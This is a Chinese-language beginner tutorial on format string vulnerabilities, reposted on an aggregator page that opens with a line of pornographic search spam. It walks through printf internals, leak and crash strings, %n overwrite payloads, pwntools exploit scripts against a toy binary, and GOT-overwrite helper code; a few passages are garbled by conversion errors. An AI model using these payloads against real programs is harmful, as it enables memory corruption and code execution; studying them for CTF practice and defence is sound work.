国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

格式化字符串漏洞

這篇具有很好參考價值的文章主要介紹了格式化字符串漏洞。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

格式化字符串漏洞

初學(xué)pwn,學(xué)到了格式化字符串漏洞,總結(jié)一下。

格式化字符串函數(shù):格式化字符串函數(shù)就是將計算機內(nèi)存中表示的數(shù)據(jù)轉(zhuǎn)化為我們?nèi)祟惪勺x的字符串格式。

漏洞printf(s)

用 printf() 為例,它的第一個參數(shù)就是格式化字符串 :“Color %s,Number %d,Float %4.2f”

然后 printf 函數(shù)會根據(jù)這個格式化字符串來解析對應(yīng)的其他參數(shù)

%d - 十進制 - 輸出十進制整數(shù)

%s - 字符串 - 從內(nèi)存中讀取字符串

%x - 十六進制 - 輸出十六進制數(shù)

%c - 字符 - 輸出字符

%p - 指針 - 指針地址

%n - 到目前為止所寫的字符數(shù)

%hhn - 寫1字節(jié)

%hn - 寫2字節(jié)

%ln - 寫4個字節(jié)

%lln - 寫8字節(jié)

格式轉(zhuǎn)換

格式化字符串是由普通字符(包括%)和轉(zhuǎn)換規(guī)則構(gòu)成的字符序列。普通字符被原封不動地復(fù)制到輸出流中。轉(zhuǎn)換規(guī)則根據(jù)與實參對應(yīng)的轉(zhuǎn)換指示符對其進行轉(zhuǎn)換,然后將結(jié)果寫入到輸出流中。

轉(zhuǎn)換規(guī)則由可選的部分和必選部分組成。其中只有轉(zhuǎn)換指示符type是必選部分,用來表示轉(zhuǎn)換類型。

可選部分如下:

  • 可選部分的 parameter比較特殊,他是一個POSIX擴展,不屬于C99,用于指定某個參數(shù),例如**%2$d**,表示輸出后面的第二個參數(shù)。

  • 標(biāo)志(flags)用來調(diào)整輸出和打贏的符號,空白,小數(shù)點等。

  • 寬度(width)用來指定輸出字符的最小個數(shù)。

  • 精度(.precision)用來指示打印符號個數(shù),小數(shù)點位數(shù)或者有效數(shù)字個數(shù)。

  • 長度(length)用來指定參數(shù)的大小。

%[parameter][flags][width][.precision][length]type

漏洞原理

格式化字符串漏洞從2000年左右開始流行起來,幾乎在各種軟件中都能見到它的身影,隨著技術(shù)的發(fā)展,軟件的安全性的提升,現(xiàn)在在PC段已經(jīng)比較少見了,但是在物聯(lián)網(wǎng)設(shè)備上依然層出不窮。2001年USENIX security會議上發(fā)表的文章為glibc提供了一個對抗格式化字符串漏洞的patch,通過靜態(tài)分析檢查參數(shù)個數(shù)與格式化字符串是否匹配。另一項安全機制FORTIFY_SOURCE也讓該漏洞的利用更加困難。

基本原理

在X86結(jié)構(gòu)下,格式化字符串的參數(shù)是通過棧傳遞的。

#include<stdio.h>
void main()
{
printf("%s %d %s","hello World",233,"\n");

}
.....................

   0x565561f6 <main+41>    lea    edx, [eax - 0x1fce]
   0x565561fc <main+47>    push   edx
   0x565561fd <main+48>    lea    edx, [eax - 0x1fc2]
   0x56556203 <main+54>    push   edx
   0x56556204 <main+55>    mov    ebx, eax
 ? 0x56556206 <main+57>    call   printf@plt                    <printf@plt>
        format: 0x56557016 ?— '%s %d %s'
        vararg: 0x5655700a ?— 'hello World'
 
   0x5655620b <main+62>    add    esp, 0x10
   0x5655620e <main+65>    nop    
   0x5655620f <main+66>    lea    esp, [ebp - 8]
   0x56556212 <main+69>    pop    ecx
   0x56556213 <main+70>    pop    ebx
   ..................
00:0000│ esp 0xffffcf40 —? 0x56557016 ?— '%s %d %s'
01:0004│     0xffffcf44 —? 0x5655700a ?— 'hello World'
02:0008│     0xffffcf48 ?— 0xe9
03:000c│     0xffffcf4c —? 0x56557008 ?— 0x6568000a /* '\n' */
04:0010│     0xffffcf50 —? 0xffffcf70 ?— 0x1
05:0014│     0xffffcf54 ?— 0x0
06:0018│ ebp 0xffffcf58 ?— 0x0
07:001c│     0xffffcf5c —? 0xf7ddfed5 (__libc_start_main+245) ?— add    esp, 0x10


根據(jù)cdecl的調(diào)用約定,在進入printf函數(shù)之前,程序?qū)?shù)從右到左依次壓棧。進入printf()之后,函數(shù)首先獲取第一個參數(shù),一次讀取一個字符。如果字符不是“%”,那么字符被直接復(fù)制到輸出。否則,讀取下一個非空字符,獲取相應(yīng)的參數(shù)并解析輸出。

接下來我們修改上面的程序,給格式化字符串加上“%x %x %x %3$s",使它出現(xiàn)格式化字符串漏洞。

   0x565561f6 <main+41>    lea    edx, [eax - 0x1fce]
   0x565561fc <main+47>    push   edx
   0x565561fd <main+48>    lea    edx, [eax - 0x1fc2]
   0x56556203 <main+54>    push   edx
   0x56556204 <main+55>    mov    ebx, eax
 ? 0x56556206 <main+57>    call   printf@plt                    <printf@plt>
        format: 0x56557016 ?— '%x %x %x %3$s'
        vararg: 0x5655700a ?— 'hello World'
 
   0x5655620b <main+62>    add    esp, 0x10
   0x5655620e <main+65>    nop    
   0x5655620f <main+66>    lea    esp, [ebp - 8]
   0x56556212 <main+69>    pop    ecx
   0x56556213 <main+70>    pop    ebx
─────────────────────────────────────────────
   1 #include<stdio.h>
   2 void main()
   3 {
 ? 4 printf("%x %x %x %3$s","hello World",233,"\n");
   5 
   6 }
──────────────────────────────────────────────────
00:0000│ esp 0xffffcf40 —? 0x56557016 ?— '%x %x %x %3$s'
01:0004│     0xffffcf44 —? 0x5655700a ?— 'hello World'
02:0008│     0xffffcf48 ?— 0xe9
03:000c│     0xffffcf4c —? 0x56557008 ?— 0x6568000a /* '\n' */
04:0010│     0xffffcf50 —? 0xffffcf70 ?— 0x1
05:0014│     0xffffcf54 ?— 0x0
06:0018│ ebp 0xffffcf58 ?— 0x0
07:001c│     0xffffcf5c —? 0xf7ddfed5 (__libc_start_main+245) ?— add    esp, 0x10

從反匯編代碼來看沒有任何區(qū)別。所以我們重點關(guān)注參數(shù)傳遞。程序打印出來了四個值,參數(shù)只有三個。

如果我們將程序里面的格式化字符省略,轉(zhuǎn)為由外部輸入。

   1 #include<stdio.h>
   2 void main()
   3 {
       char s[100];
       scanf(s);
   4   printf(s);
   5 
   6 }

如果大家都正常輸入字符,程序不會有問題,但如果我們在s里面輸入一些轉(zhuǎn)換指示符。那么printf()會把它當(dāng)成格式化字符串解析,漏洞由此發(fā)生。

格式化字符串漏洞的發(fā)生條件就是格式化字符串要求的參數(shù)和實際上提供的參數(shù)不匹配。

漏洞利用原理

對于格式化字符串漏洞的利用主要有:使程序崩潰,棧數(shù)據(jù)泄露,任意地址內(nèi)存泄露,棧數(shù)據(jù)覆蓋,任意地址內(nèi)存覆蓋。

程序崩潰

這種攻擊方法最簡單,只需要輸入一串 %s 就可以

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

對于每一個 %s,printf() 都會從棧上取一個數(shù)字,把該數(shù)字視為地址,然后打印出該地址指向的內(nèi)存內(nèi)容,由于不可能獲取的每一個數(shù)字都是地址,所以數(shù)字對應(yīng)的內(nèi)容可能不存在,或者這個地址是被保護的,那么便會使程序崩潰

**在 Linux 中,存取無效的指針會引起進程收到 SIGSEGV (SIGSEGV分為SIG+SEGV。SIG是信號名的通用前綴;SEGV是segmentation violation(段違例)的縮寫。)**信號,從而使程序非正常終止并產(chǎn)生核心轉(zhuǎn)儲(產(chǎn)生錯誤報告)。

泄露內(nèi)存

通過%x將棧后面的參數(shù)給泄露出來。

%x會在棧上找臨近的一個參數(shù),根據(jù) 格式化字符串 給打印出來,這樣就把他后面一個棧上的值給輸出出來了。

但是上面的都是獲取臨近的內(nèi)容進行輸出,我們不可能只要這幾個東西,可以通過 %n$x 來獲取被視作第 n+1 個參數(shù)的值(格式化字符串是第一個參數(shù)).

另外也可以通過 %s 來獲取棧變量對應(yīng)的字符串。

小技巧:

利用 %x 來獲取對應(yīng)棧的內(nèi)存,但建議使用 %p,可以不用考慮位數(shù)的區(qū)別

利用 %s 來獲取變量所對應(yīng)地址的內(nèi)容,只不過有零截斷

利用 %n x 來 獲 取 指 定 參 數(shù) 的 值 , 利 用 x 來獲取指定參數(shù)的值,利用 %n x數(shù),s 來獲取指定參數(shù)對應(yīng)地址的內(nèi)容

泄露任意地址的內(nèi)存

攻擊者使用類似于“%s”的格式規(guī)范就可以泄露出參數(shù)(指針指向內(nèi)部存的數(shù)據(jù)),程序會將它作為一個ASCII字符串處理,直到遇到一個空字符。所以,如果攻擊者能夠操縱這個參數(shù)的值,那就可以泄露任意地址的內(nèi)容。

之前的方法還只是泄露棧上變量值,沒法泄露變量的地址,但是如果我們知道格式化字符串在輸出函數(shù)調(diào)用時是第幾個參數(shù),這里假設(shè)格式化字符串相對函數(shù)調(diào)用是第 k 個參數(shù),那我們就可以通過如下方法來獲取指定地址 addr 的內(nèi)容 addr%k$x

下面就是確定格式化字符串是第幾個參數(shù)了,一般可以通過 [tag]%p%p%p%p%p%p%p%p%p 來實現(xiàn),如果輸出的內(nèi)容跟我們前面的 tag 重復(fù)了,那就說明我們找到了,但是不排除棧上有些其他變量也是這個值,所以可以用一些其他的字符進行再次嘗試

當(dāng)然這也可以用 AAAA%4$p 來達到同樣的效果,通過這種方法,如果我們傳入的是 一個函數(shù)的 GOT 地址,那么他就可以給我們打印出來函數(shù)在內(nèi)存中的真實地址

使用 objdump -R fs1 查看一下 got 表

格式化字符串漏洞

%s 是把地址指向的內(nèi)存內(nèi)容給打印出來,可以把 函數(shù)的地址給打印出來。

覆蓋棧內(nèi)存

%n,不輸出字符,但是把已經(jīng)成功輸入的字符個數(shù)寫入對應(yīng)的整型指針參數(shù)所指的變量,只要變量對應(yīng)的地址可寫,就可以利用格式化字符串來改變其對應(yīng)的值。

一般來說,利用分為以下的步驟:

  • 確定覆蓋地址

  • 確定相對偏移

  • 進行覆蓋

源文件

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("a= %p b=  %p c=  %p\n",&a ,&b, &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

關(guān)于覆蓋偏移的話可以通過測試得出來:

AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9cnuysRP-1649481385031)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220213113952399.png)]

可以看到格式化字符是第6個參數(shù)。

那接下來,通過 %n 來進行覆蓋,c_addr+%012d+%6$n

c_addr 再加上 12 之后才能湊夠 16,這樣就可以把 c 改成 16。

%n可以將對應(yīng)參數(shù)地址存儲的值給改寫。

覆蓋任意地址內(nèi)存

覆蓋小數(shù)字

如果想要將一個地方改為一個較小的數(shù)字,只需要 %n 是 數(shù)字 就可以了,如果想改成 2,可以用 aa%k$n,但是有個問題,之前我們是把地址放在前面,加上地址(4或8字節(jié))之后就成了一個至少比 4 大的數(shù)

aa%k n x x , 如 果 用 這 樣 的 方 式 , 前 面 a a nxx,如果用這樣的方式,前面 aa%k 是第六個參數(shù), nxx,aanxx 是第七個參數(shù),后面在跟一個 我們想要修改的地址,那么這個地址就是第八個參數(shù),只需要把 k 改成 8 就可以把這第八個參數(shù)改成 2,aa%8$nxx。

from pwn import *
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()

這里掌握的小技巧:沒有必要把地址放在最前面,只需要找到它對應(yīng)的偏移就可以。

覆蓋大數(shù)字

變量在內(nèi)存中都是以字節(jié)的格式存儲的,在 x86、x64 中是按照小端存儲的,格式化字符串里面有兩個標(biāo)志用的上了:
h:對于整數(shù)類型,printf 期待一個從 short 提升的 int 尺寸的整型參數(shù)
hh:對于整型類型,printf 期待一個從 char 提升的 int 尺寸的整形參數(shù)

意思是說:hhn 寫入的就是單字節(jié),hn 寫入的就是雙字節(jié)。

from pwn import *
sh = process('./overwrite')
b_addr=0x0804A028
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
#pwntools帶著一個函數(shù),很方便
print sh.recv()
sh.interactive()

前面的那一串 p32(),每算是 4 字符,這樣到 %6$hhn 前面就是:16+104=120,也就是 0x78

再加上 222 就是 342,也就是 0x156,然后依次是:0x234、0x312,又因為 hh 是寫入單字節(jié)的,又是小端存儲,也就是只能取后邊兩個,所以連起來就是 0x12345678

ps:

對于格式化字符串漏洞的題可以用pwntools的工具fatstr_payload()來簡化構(gòu)造payload。

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一個參數(shù)表示格式化字符串的偏移;
第二個參數(shù)表示需要利用%n寫入的數(shù)據(jù),采用字典形式,我們要將printf的GOT數(shù)據(jù)改為system函數(shù)地址,就寫成{printfGOT:
systemAddress};本題是將0804a048處改為0x2223322
第三個參數(shù)表示已經(jīng)輸出的字符個數(shù),這里沒有,為0,采用默認(rèn)值即可;
第四個參數(shù)表示寫入方式,是按字節(jié)(byte)、按雙字節(jié)(short)還是按四字節(jié)(int),對應(yīng)著hhn、hn和n,默認(rèn)值是byte,即按hhn寫。
fmtstr_payload函數(shù)返回的就是payload

但是我們一般用的格式是

fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

這是專門為32位格式化漏洞的函數(shù)。

下面是函數(shù)的源代碼:文章來源地址http://www.zghlxwxcb.cn/news/detail-501596.html

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

到了這里,關(guān)于格式化字符串漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • Python 的字符串格式化指南

    Python 中控制字符串格式通常有三種形式: % 占位符(格式化符) str.format() 函數(shù) f-string 內(nèi)嵌式 Python 最先開始格式化字符串是用 %,但它的致命缺點是支持的類型有限制,只支持 int,str,double 這三種類型,從而導(dǎo)致其他所有類型只能轉(zhuǎn)換(強制轉(zhuǎn)換)為這幾個類型,還有如果

    2024年02月08日
    瀏覽(23)
  • 第33講:Python格式化字符串時使用字典傳遞字符串

    在前面對字符串進行格式化輸出時,傳遞被格式化的字符串時都是單個的,如果想要對字典中Key對應(yīng)的Value進行格式化輸出,常規(guī)的方法如下:

    2023年04月24日
    瀏覽(36)
  • 淺談非棧上格式化字符串

    淺談非棧上格式化字符串

    這里先淺分析修改返回地址的兩種打法,分別是\\\"諸葛連弩\\\"和”四馬分肥“ 本文例題 以陜西省賽easy_printf為主 簡單看一看程序 需要先過一個判斷然后進入vuln 進入后 有一個13次的循環(huán) 可以讓我們操作 第一步 肯定要先leak出棧地址 程序基地址和libc基地址 第二步 修改ret地址

    2024年02月14日
    瀏覽(29)
  • Python字符串格式化 (%操作符)

    在許多編程語言中都包含有格式化字符串的功能,比如C和Fortran語言中的格式化輸入輸出。在Python中內(nèi)置有對字符串進行格式化的操作符是\\\"%\\\"。 模板 格式化字符串時,Python使用一個字符串作為模板。模板中有格式符,這些格式符為真實值預(yù)留位置,并說明真實數(shù)值應(yīng)該呈現(xiàn)的

    2024年02月14日
    瀏覽(26)
  • 格式化字符串你都懂了嗎

    格式化字符串你都懂了嗎

    今天跟大家聊聊字 符串的格式化 這部分內(nèi)容。乍一聽“ 格式化 ”這三個字,有的初學(xué)者可能會懵:難道這是要清空字符串的節(jié)奏? 其實不是的,恰恰相反,格式化字符串是為了讓字符串變的更美觀、更靈活。接下來就給大家詳細(xì)介紹格式化字符串的概念以及具體用法。 格

    2024年02月04日
    瀏覽(21)
  • Python 用戶輸入和字符串格式化指南

    Python 用戶輸入和字符串格式化指南

    Python 允許用戶輸入數(shù)據(jù)。這意味著我們可以向用戶詢問輸入。在 Python 3.6 中,使用 input() 方法來獲取用戶輸入。在 Python 2.7 中,使用 raw_input() 方法來獲取用戶輸入。以下示例要求用戶輸入用戶名,并在輸入用戶名后將其打印在屏幕上: Python 3.6: Python 2.7: 為了確保字符串按預(yù)

    2024年02月05日
    瀏覽(38)
  • 格式化字符串走過的坑 pwn109

    格式化字符串走過的坑 pwn109

    格式化字符串走過的坑 pwn109 今天做的一道題有一個坑我調(diào)試半天終于打通了,格式化字符串的坑,確實不少,東西也比較多容易忘記,怎么說呢,功夫在平時,經(jīng)驗少了 老規(guī)矩先看一下保護 Full RELRO意味著got不能修改也就是不能通過格式化字符串漏洞來改got表,但是nx保護關(guān)

    2024年04月08日
    瀏覽(31)
  • 【Python入門篇】——Python基礎(chǔ)語法(字符串格式化,表達式格式化和數(shù)據(jù)輸入)

    【Python入門篇】——Python基礎(chǔ)語法(字符串格式化,表達式格式化和數(shù)據(jù)輸入)

    作者簡介: 辭七七,目前大一,正在學(xué)習(xí)C/C++,Java,Python等 作者主頁: 七七的個人主頁 文章收錄專欄: Python入門,本專欄主要內(nèi)容為Python的基礎(chǔ)語法,Python中的選擇循環(huán)語句,Python函數(shù),Python的數(shù)據(jù)容器等。 歡迎大家點贊 ?? 收藏 ? 加關(guān)注哦!???? 目前通過%符號占位

    2024年02月05日
    瀏覽(30)
  • Godot 4 源碼分析 - 增加格式化字符串功能

    Godot 4 源碼分析 - 增加格式化字符串功能

    Godot 4的主要字符串類型為String,已經(jīng)設(shè)計得比較完善了,但有一個問題,格式化這塊沒怎么考慮。 String中有一個format函數(shù),但這個函數(shù)只有兩個參數(shù),這咋用? 查找使用例子,都是這種效果 一看就懵。哪里有之前用的帶%s %d...之類的格式化用得舒服。 動手實現(xiàn)一個 提供s

    2024年02月14日
    瀏覽(28)
  • Java工具類——json字符串格式化處理

    Java工具類——json字符串格式化處理

    在我們拿到一團未經(jīng)格式化的json字符串時,非常不方便查看,比如這樣 因此隨手寫了個工具類用來格式化json。注意,原json字符串必須語法無誤,并且不包含換行、空格、縮進等,否則會保留下來。 ok廢話不多說上代碼 運行后效果

    2024年01月17日
    瀏覽(29)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包